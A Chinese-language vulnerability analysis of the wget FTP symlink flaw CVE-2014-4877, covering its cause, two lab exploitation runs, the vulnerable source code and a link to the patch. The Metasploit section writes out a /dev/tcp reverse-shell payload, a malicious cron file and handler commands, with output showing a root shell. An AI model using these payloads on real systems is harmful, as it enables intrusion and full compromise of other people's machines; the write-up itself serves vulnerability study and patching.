00漏洞原理:
wget ftp下载符号链接文件时(没开启retr-symlinks 选项),会在本身系统创建一个符号链接,当伪造一个ftp 数据包中有的文件夹符号链接和一个同名文件夹并且真实文件夹中有子文件时,wget递归下载时会把子文件下载到本地文件夹符号链接指向的地址。攻击者通过伪造ftp数据流可在目标任意目录中创建文件、文件夹、连接符号,甚至设置权限、时间等属性。
首次上报该漏洞给Wget开源项目组的人是Rapid7的首席安全官HD Moore,这个漏洞被命名为CVE-2014-4877。
01 漏洞测试(metasploits)
[root@localhost ~]# msfpayload cmd/unix/reverse_bash LHOST=192.168.8.213 LPORT=4444 R 0<&91-;exec 91<>/dev/tcp/192.168.8.213/4444;sh <&91 >&91 2>&91[root@localhost ~]# [root@localhost ~]# cat > cronshell <<EOF PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&91-;exec 91<>/dev/tcp/192.168.8.213/4444;sh <&91 >&91 2>&91';rm -f /etc/cron.d/cronshell EOF
搭建msf监听本地端口
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.8.213 LHOST => 192.168.8.213 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.8.213:4444 msf exploit(handler) > [*] Starting the payload handler...
搭建一个攻击的ftp
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell TARGET_FILE => /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell TARGET_DATA => file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 SRVPORT => 21 msf auxiliary(wget_symlink_file_write) > run [*] Auxiliary module execution completed msf auxiliary(wget_symlink_file_write) >
攻击结果
[+] Targets should run: $ wget -m ftp://192.168.8.213:21/ [*] Server started. [*] 192.168.8.213:60178 Logged in with user 'anonymous' and password 'anonymous'... [*] 192.168.8.213:60178 -> LIST -a [*] 192.168.8.213:60178 -> CWD /erPBysQCyEO [*] 192.168.8.213:60178 -> LIST -a [*] 192.168.8.213:60178 -> RETR cronshell [+] 192.168.8.213:60178 Hopefully wrote 182 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (192.168.8.213:4444 -> 192.168.8.213:53199) at 2014-11-04 16:56:03 +0800 id [*] exec: id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msf auxiliary(wget_symlink_file_write) > msf auxiliary(wget_symlink_file_write) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell unix 192.168.8.213:4444 -> 192.168.8.213:53199 (192.168.8.213) msf auxiliary(wget_symlink_file_write) > sessions -i 1 [*] Starting interaction with 1... whoami root
02 漏洞测试(wget-symlink_attack_exploit)
[root@localhost ~]# python wget-symlink_attack_exploit.py ftpd is listening on 127.0.0.1:21 connection from ('127.0.0.1', 48850) conn_list 0 << USER anonymous <socket._socketobject object at 0x7f369eff8750> << SYST <socket._socketobject object at 0x7f369eff8750> << PWD <socket._socketobject object at 0x7f369eff8750> << TYPE I <socket._socketobject object at 0x7f369eff8750> << PASV <socket._socketobject object at 0x7f369eff8750> << LIST -a <socket._socketobject object at 0x7f369eff8750> << CWD /fakedir <socket._socketobject object at 0x7f369eff8750> << PASV <socket._socketobject object at 0x7f369eff8750> << LIST -a <socket._socketobject object at 0x7f369eff8750> << PASV <socket._socketobject object at 0x7f369eff8750> << RETR pwned <socket._socketobject object at 0x7f369eff8750>
攻击结果
[root@localhost ~]# ls -ln /tmp total 0 -rw-r--r--. 1 0 0 0 Nov 4 17:00 pwned [root@localhost ~]# ls -lh /tmp |grep pwned -rw-r--r--. 1 root root 0 Nov 4 17:00 pwned [root@localhost ~]# ls -lh 127.0.0.1/ total 0 lrwxrwxrwx. 1 root root 4 Nov 4 17:00 fakedir -> /tmp
03 代码分析
switch (f->type) 1842 { 1843 case FT_SYMLINK: 1844 /* If opt.retr_symlinks is defined, we treat symlinks as 1845 if they were normal files. There is currently no way 1846 to distinguish whether they might be directories, and 1847 follow them. */ 1848 if (!opt.retr_symlinks) //判断是否开启了retr-symlinks选项 1849 { 1850 #ifdef HAVE_SYMLINK 1851 if (!f->linkto) 1852 logputs (LOG_NOTQUIET, 1853 _("Invalid name of the symlink, skipping.\n")); 1854 else 1855 { 1856 struct_stat st; 1857 /* Check whether we already have the correct 1858 symbolic link. */ 1859 int rc = lstat (con->target, &st); 1860 if (rc == 0) 1861 { 1862 size_t len = strlen (f->linkto) + 1; 1863 if (S_ISLNK (st.st_mode)) 1864 { 1865 char *link_target = (char *)alloca (len); 1866 size_t n = readlink (con->target, link_target, le n); 1867 if ((n == len - 1) 1868 && (memcmp (link_target, f->linkto, n) == 0)) 1869 { 1870 logprintf (LOG_VERBOSE, _("\ 1871 Already have correct symlink %s -> %s\n\n"), 1872 quote (con->target), 1873 quote (f->linkto)); 1874 dlthis = false; 1875 break; 1876 } 1877 } 1878 } 1879 logprintf (LOG_VERBOSE, _("Creating symlink %s -> %s\n"), 1880 quote (con->target), quote (f->linkto)); 1881 /* Unlink before creating symlink! */ 1882 unlink (con->target); 1883 if (symlink (f->linkto, con->target) == -1) //本地建立文件符号链接 1884 logprintf (LOG_NOTQUIET, "symlink: %s\n", strerror (err no)); 1885 logputs (LOG_VERBOSE, "\n"); 1886 } /* have f->linkto */ 1887 #else /* not HAVE_SYMLINK */ 1888 logprintf (LOG_NOTQUIET, 1889 _("Symlinks not supported, skipping symlink %s.\n" ), 1890 quote (con->target)); 1891 #endif /* not HAVE_SYMLINK */
如上代码,wget 会通过symlink 在本地创建链接文件,指向数据包中链接的地址。当使用 -m/–mirror/-r选项时,递归去获取同名文件夹 fakedir 里面的文件,由于本地的fakedir 文件为符号链接,所以ftp 服务器中的同名fakedir 文件夹子层下面的都会被下载到链接文件指向的地址。
04 代码修复
centos/redhat 提供的patch
wget-1.14-CVE-2014-4877.patch https://git.centos.org/blob/rpms!wget.git/96e81dcc5e090f23f3d8b46f0c9bd3a76617aa25/SOURCES!wget-1.14-CVE-2014-4877.patch